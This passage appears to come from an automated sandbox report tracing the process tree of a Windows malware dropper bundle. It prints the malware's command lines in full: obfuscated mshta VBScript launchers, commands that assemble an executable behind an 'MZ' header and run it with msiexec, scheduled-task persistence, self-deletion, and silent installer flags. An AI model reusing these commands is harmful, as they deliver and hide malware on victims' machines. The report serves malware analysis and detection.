C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRIpT: ClosE(CReateobjECT("WscRipT.SHeLl" ).rUn ( "cmD.EXE /q /r tYpe ""C:\Users\Admin\AppData\Local\Temp\2059.exe"" >MXb89OH1.EXE && StarT MXB89oH1.eXE /poMZbeSahrmSD~4GRjd & iF """"=="""" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\2059.exe"" ) do taskkill /iM ""%~nXN"" -f " ,0 ,TrUE) )3⤵PID:9024
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r tYpe "C:\Users\Admin\AppData\Local\Temp\2059.exe" >MXb89OH1.EXE&& StarT MXB89oH1.eXE /poMZbeSahrmSD~4GRjd&iF ""=="" for %N In ( "C:\Users\Admin\AppData\Local\Temp\2059.exe") do taskkill /iM "%~nXN" -f4⤵PID:4240
-
C:\Users\Admin\AppData\Local\Temp\MXb89OH1.EXEMXB89oH1.eXE /poMZbeSahrmSD~4GRjd5⤵PID:8444
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbSCRIpT: ClosE(CReateobjECT("WscRipT.SHeLl" ).rUn ( "cmD.EXE /q /r tYpe ""C:\Users\Admin\AppData\Local\Temp\MXb89OH1.EXE"" >MXb89OH1.EXE && StarT MXB89oH1.eXE /poMZbeSahrmSD~4GRjd & iF ""/poMZbeSahrmSD~4GRjd""=="""" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\MXb89OH1.EXE"" ) do taskkill /iM ""%~nXN"" -f " ,0 ,TrUE) )6⤵PID:8556
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r tYpe "C:\Users\Admin\AppData\Local\Temp\MXb89OH1.EXE" >MXb89OH1.EXE&& StarT MXB89oH1.eXE /poMZbeSahrmSD~4GRjd&iF "/poMZbeSahrmSD~4GRjd"=="" for %N In ( "C:\Users\Admin\AppData\Local\Temp\MXb89OH1.EXE") do taskkill /iM "%~nXN" -f7⤵PID:8408
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRipt: cLosE (CREateoBJEcT ("wscRiPt.shElL"). ruN ( "cMD /q /r EcHO | SeT /p = ""MZ"" > 5XGGA_QU.T & cOpY /Y /B 5XGGA_QU.t + 7AF4K.HlZ + 8Lma.CS3 + TBFC27.HKL + G2K6.CP+ P1JSBZHT.GQ+ KYb20.A3T YfYnG.AJ & StARt msiexec.exe -y .\YFYnG.AJ ", 0, TRue ) )6⤵PID:7584
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /r EcHO | SeT /p = "MZ" >5XGGA_QU.T & cOpY /Y /B 5XGGA_QU.t + 7AF4K.HlZ + 8Lma.CS3+ TBFC27.HKL+G2K6.CP+P1JSBZHT.GQ+ KYb20.A3T YfYnG.AJ & StARt msiexec.exe -y .\YFYnG.AJ7⤵PID:2656
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "8⤵PID:7384
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>5XGGA_QU.T"8⤵PID:8108
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\YFYnG.AJ8⤵PID:424
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "2059.exe" -f5⤵
- Kills process with taskkill
PID:9472
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2914.exeC:\Users\Admin\AppData\Local\Temp\2914.exe2⤵PID:7812
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:6424
-
-
C:\Program Files (x86)\Jqfbx\zjjerap.exe"C:\Program Files (x86)\Jqfbx\zjjerap.exe"2⤵PID:2656
-
-
C:\Users\Admin\AppData\Local\Temp\8622.exeC:\Users\Admin\AppData\Local\Temp\8622.exe2⤵PID:5444
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵PID:9412
-
-
-
C:\Users\Admin\AppData\Local\Temp\9B51.exeC:\Users\Admin\AppData\Local\Temp\9B51.exe2⤵PID:1148
-
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09b2a8bc4f16cb.exeWed09b2a8bc4f16cb.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2576
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09abf83d9c2.exeWed09abf83d9c2.exe1⤵
- Executes dropped EXE
PID:3200 -
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09abf83d9c2.exe"C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09abf83d9c2.exe" -u2⤵
- Executes dropped EXE
PID:3424
-
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09977fdc12334.exeWed09977fdc12334.exe1⤵
- Executes dropped EXE
- Checks computer location settings
PID:1772 -
C:\Users\Admin\Pictures\Adobe Films\yv_WxKr3KFtEgviNW6XER0DN.exe"C:\Users\Admin\Pictures\Adobe Films\yv_WxKr3KFtEgviNW6XER0DN.exe"2⤵
- Executes dropped EXE
PID:5076
-
-
C:\Users\Admin\Pictures\Adobe Films\WJ4Jp9BzJkMkcxTsUZxDV8_F.exe"C:\Users\Admin\Pictures\Adobe Films\WJ4Jp9BzJkMkcxTsUZxDV8_F.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5516
-
-
C:\Users\Admin\Pictures\Adobe Films\iDy7r92AdHoe594PiOA4dmf8.exe"C:\Users\Admin\Pictures\Adobe Films\iDy7r92AdHoe594PiOA4dmf8.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5488
-
-
C:\Users\Admin\Pictures\Adobe Films\heLdzdnLl5q5AkvLGStJu8xP.exe"C:\Users\Admin\Pictures\Adobe Films\heLdzdnLl5q5AkvLGStJu8xP.exe"2⤵
- Executes dropped EXE
PID:5480 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 6563⤵
- Program crash
PID:7012
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 6723⤵
- Program crash
PID:3288
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 6803⤵
- Program crash
PID:6912
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 6643⤵
- Program crash
PID:6220
-
-
-
C:\Users\Admin\Pictures\Adobe Films\yU9A50kXOGuIyzhRuVL5irvz.exe"C:\Users\Admin\Pictures\Adobe Films\yU9A50kXOGuIyzhRuVL5irvz.exe"2⤵
- Executes dropped EXE
PID:5460
-
-
C:\Users\Admin\Pictures\Adobe Films\rB8pSJCQHjIxwe2pFQq4cLX7.exe"C:\Users\Admin\Pictures\Adobe Films\rB8pSJCQHjIxwe2pFQq4cLX7.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5452 -
C:\Users\Admin\Documents\UiHavVmyS7tmxL43iWYAXJ0J.exe"C:\Users\Admin\Documents\UiHavVmyS7tmxL43iWYAXJ0J.exe"3⤵PID:5048
-
C:\Users\Admin\Pictures\Adobe Films\ulaar46vferfZdxeRROA7gAO.exe"C:\Users\Admin\Pictures\Adobe Films\ulaar46vferfZdxeRROA7gAO.exe"4⤵PID:1716
-
-
C:\Users\Admin\Pictures\Adobe Films\L1vOAGnZKKOdYoeSK0nGQdJT.exe"C:\Users\Admin\Pictures\Adobe Films\L1vOAGnZKKOdYoeSK0nGQdJT.exe"4⤵PID:7288
-
-
C:\Users\Admin\Pictures\Adobe Films\J8R0AtbOs1rm63LpnHWgJZ53.exe"C:\Users\Admin\Pictures\Adobe Films\J8R0AtbOs1rm63LpnHWgJZ53.exe"4⤵PID:7416
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵PID:3980
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:7220
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\3Uqxfc_6vUg9_RxO6PbAHdax.exe"C:\Users\Admin\Pictures\Adobe Films\3Uqxfc_6vUg9_RxO6PbAHdax.exe"4⤵PID:7408
-
-
C:\Users\Admin\Pictures\Adobe Films\Qkd1QrDaBrzQeKPJPq2vOmgc.exe"C:\Users\Admin\Pictures\Adobe Films\Qkd1QrDaBrzQeKPJPq2vOmgc.exe"4⤵PID:7516
-
-
C:\Users\Admin\Pictures\Adobe Films\ZF35w9iF8iuM11Z7kt0G_wOl.exe"C:\Users\Admin\Pictures\Adobe Films\ZF35w9iF8iuM11Z7kt0G_wOl.exe"4⤵PID:7800
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\ZF35w9iF8iuM11Z7kt0G_wOl.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\ZF35w9iF8iuM11Z7kt0G_wOl.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )5⤵PID:7120
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\ZF35w9iF8iuM11Z7kt0G_wOl.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\ZF35w9iF8iuM11Z7kt0G_wOl.exe" ) do taskkill -f -iM "%~NxM"6⤵PID:7852
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵PID:3900
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:7376
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:604
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )8⤵PID:5772
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC9⤵PID:5568
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵PID:7268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵PID:7192
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵PID:7980
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "ZF35w9iF8iuM11Z7kt0G_wOl.exe"7⤵
- Kills process with taskkill
PID:7488
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\t4B1XCHYB7eC7yEawc2cjd5y.exe"C:\Users\Admin\Pictures\Adobe Films\t4B1XCHYB7eC7yEawc2cjd5y.exe"4⤵PID:7836
-
C:\Users\Admin\AppData\Local\Temp\is-Q4UBC.tmp\t4B1XCHYB7eC7yEawc2cjd5y.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q4UBC.tmp\t4B1XCHYB7eC7yEawc2cjd5y.tmp" /SL5="$403E6,506127,422400,C:\Users\Admin\Pictures\Adobe Films\t4B1XCHYB7eC7yEawc2cjd5y.exe"5⤵PID:8068
-
C:\Users\Admin\AppData\Local\Temp\is-HQ5HI.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-HQ5HI.tmp\DYbALA.exe" /S /UID=27096⤵PID:7328
-
C:\Program Files\Windows Defender\PQYKPAKYKD\foldershare.exe"C:\Program Files\Windows Defender\PQYKPAKYKD\foldershare.exe" /VERYSILENT7⤵PID:7624
-
-
C:\Users\Admin\AppData\Local\Temp\ac-cc7c3-b86-e1c88-f419f1db6849e\Jilygusuda.exe"C:\Users\Admin\AppData\Local\Temp\ac-cc7c3-b86-e1c88-f419f1db6849e\Jilygusuda.exe"7⤵PID:3656
-
-
C:\Users\Admin\AppData\Local\Temp\e5-50a61-8b9-cff93-16732c654ebdc\Naretaeceli.exe"C:\Users\Admin\AppData\Local\Temp\e5-50a61-8b9-cff93-16732c654ebdc\Naretaeceli.exe"7⤵PID:4276
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lorfi0yg.wt4\GcleanerEU.exe /eufive & exit8⤵PID:9236
-
C:\Users\Admin\AppData\Local\Temp\lorfi0yg.wt4\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\lorfi0yg.wt4\GcleanerEU.exe /eufive9⤵PID:10052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ooewycp5.yoj\installer.exe /qn CAMPAIGN="654" & exit8⤵PID:9356
-
C:\Users\Admin\AppData\Local\Temp\ooewycp5.yoj\installer.exeC:\Users\Admin\AppData\Local\Temp\ooewycp5.yoj\installer.exe /qn CAMPAIGN="654"9⤵PID:10124
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\ooewycp5.yoj\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ooewycp5.yoj\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1635085641 /qn CAMPAIGN=""654"" " CAMPAIGN="654"10⤵PID:7244
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\voji2wih.3nw\any.exe & exit8⤵PID:9496
-
C:\Users\Admin\AppData\Local\Temp\voji2wih.3nw\any.exeC:\Users\Admin\AppData\Local\Temp\voji2wih.3nw\any.exe9⤵PID:9164
-
C:\Users\Admin\AppData\Local\Temp\voji2wih.3nw\any.exe"C:\Users\Admin\AppData\Local\Temp\voji2wih.3nw\any.exe" -u10⤵PID:9136
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b02e35u5.u24\gcleaner.exe /mixfive & exit8⤵PID:9728
-
C:\Users\Admin\AppData\Local\Temp\b02e35u5.u24\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\b02e35u5.u24\gcleaner.exe /mixfive9⤵PID:9320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jbwqgjv5.d1o\autosubplayer.exe /S & exit8⤵PID:9856
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\NvVYDrh3uiPEFVfrmJoqRxi2.exe"C:\Users\Admin\Pictures\Adobe Films\NvVYDrh3uiPEFVfrmJoqRxi2.exe"4⤵PID:7704
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵PID:5140
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"6⤵PID:7840
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e0,0x1dc,0x1d8,0x1e4,0x1d4,0x7fff042fdec0,0x7fff042fded0,0x7fff042fdee07⤵PID:8768
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1640,3370746426114661389,2374291938337839391,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7840_1077984654" --mojo-platform-channel-handle=1656 /prefetch:87⤵PID:8180
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5716
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:5676 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1156
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\l52IOPxC8IZszZcHKSzkolDA.exe"C:\Users\Admin\Pictures\Adobe Films\l52IOPxC8IZszZcHKSzkolDA.exe"2⤵
- Executes dropped EXE
PID:5444 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im l52IOPxC8IZszZcHKSzkolDA.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\l52IOPxC8IZszZcHKSzkolDA.exe" & del C:\ProgramData\*.dll & exit3⤵PID:8060
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im l52IOPxC8IZszZcHKSzkolDA.exe /f4⤵
- Kills process with taskkill
PID:6868
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:9044
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09d27135e5a8b3b.exeWed09d27135e5a8b3b.exe1⤵
- Executes dropped EXE
PID:2160 -
C:\Users\Admin\AppData\Local\Temp\is-HBAAJ.tmp\Wed09d27135e5a8b3b.tmp"C:\Users\Admin\AppData\Local\Temp\is-HBAAJ.tmp\Wed09d27135e5a8b3b.tmp" /SL5="$40138,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09d27135e5a8b3b.exe"2⤵PID:2728
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09d27135e5a8b3b.exe"C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09d27135e5a8b3b.exe" /SILENT3⤵
- Executes dropped EXE
PID:3724 -
C:\Users\Admin\AppData\Local\Temp\is-VLV72.tmp\Wed09d27135e5a8b3b.tmp"C:\Users\Admin\AppData\Local\Temp\is-VLV72.tmp\Wed09d27135e5a8b3b.tmp" /SL5="$8007E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed09d27135e5a8b3b.exe" /SILENT4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:1800 -
C:\Users\Admin\AppData\Local\Temp\is-MVUL8.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-MVUL8.tmp\postback.exe" ss15⤵
- Executes dropped EXE
PID:4676
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed094c47c32b.exeWed094c47c32b.exe1⤵
- Executes dropped EXE
PID:3452 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScript: cLOSE( CREatEObJEcT ( "WSCRIpt.ShELL"). Run( "CMD /R tyPE ""C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed094c47c32b.exe"" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF """"=="""" for %L IN (""C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed094c47c32b.exe"" ) do taskkill -f -im ""%~nxL"" " ,0 , trUe))2⤵PID:2420
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tyPE "C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed094c47c32b.exe" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF ""=="" for %L IN ("C:\Users\Admin\AppData\Local\Temp\7zS823188E5\Wed094c47c32b.exe") do taskkill -f -im "%~nxL"3⤵PID:3204
-
C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exEXYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF4⤵
- Executes dropped EXE
PID:4616 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScript: cLOSE( CREatEObJEcT ( "WSCRIpt.ShELL"). Run( "CMD /R tyPE ""C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE"" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF ""/Pgxf5hQhM5tF ""=="""" for %L IN (""C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE"" ) do taskkill -f -im ""%~nxL"" " ,0 , trUe))5⤵PID:4872
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tyPE "C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF "/Pgxf5hQhM5tF "=="" for %L IN ("C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE") do taskkill -f -im "%~nxL"6⤵PID:4380
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCriPt:closE ( CrEaTeoBJecT ("WsCRiPT.ShEll" ). RuN( "cmd /R EcHO | SEt /p = ""MZ"" > OsuKT1.9t & cOPY /B /y OsuKT1.9t+XRB2l6FD.IlF +9Odf.6 PEQqN6S.Ou & STart msiexec.exe -y .\PEQQN6S.OU & DEl XRB2L6FD.iLF 9Odf.6 OsuKT1.9t ", 0 , True ))5⤵PID:5392
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R EcHO | SEt /p = "MZ" > OsuKT1.9t & cOPY /B /y OsuKT1.9t+XRB2l6FD.IlF+9Odf.6 PEQqN6S.Ou &STart msiexec.exe -y .\PEQQN6S.OU & DEl XRB2L6FD.iLF 9Odf.6 OsuKT1.9t6⤵PID:4656
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "7⤵PID:6040
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>OsuKT1.9t"7⤵PID:6320
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\PEQQN6S.OU7⤵
- Loads dropped DLL
PID:6692
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im "Wed094c47c32b.exe"4⤵
- Kills process with taskkill
PID:4812
-
-
-
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2728
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6868 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:7136
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6136 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5652
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:2904
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:10060
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵PID:10204
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6504
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:9324
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 32DD8EC0033C5BB6914F7E0C9134E034 C2⤵PID:9700
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 8746C86701AA3D2FBC1D0399E2D949B02⤵PID:8484
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:10208
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B8665714DE28BBC0EC345CEFDC51E12E E Global\MSI00002⤵PID:5028
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8152
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8504
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8804
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9816
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:9768 -
